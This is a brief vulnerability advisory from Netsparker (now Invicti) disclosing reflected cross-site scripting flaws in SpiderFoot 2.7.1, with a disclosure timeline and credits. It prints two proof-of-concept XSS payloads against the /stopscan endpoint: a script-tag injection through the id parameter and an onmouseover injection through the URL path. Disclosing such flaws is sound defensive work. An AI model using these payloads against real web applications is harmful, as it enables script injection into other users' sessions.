Multiple Reflected XSS Vulnerabilities in SpiderFoot 2.7.1


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in SpiderFoot
Affected Software: SpiderFoot
Affected Versions: 2.7.1
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-17-003

Technical Details

Proof of Concept URL for XSSes vulnerabilities in SpiderFoot;

URL: /stopscan?id='"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00F93C)</scRipt>

URL: /stopscan/'onmouseover='alert(0x00FA0E)
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'onmouseover='alert(0x00FA0E)

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

18 Dec 2016 – Issue reported
30 Dec 2016 – Vendor fixed
24 Jan 2017 – Advisory released


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Credits & Authors

This issue has been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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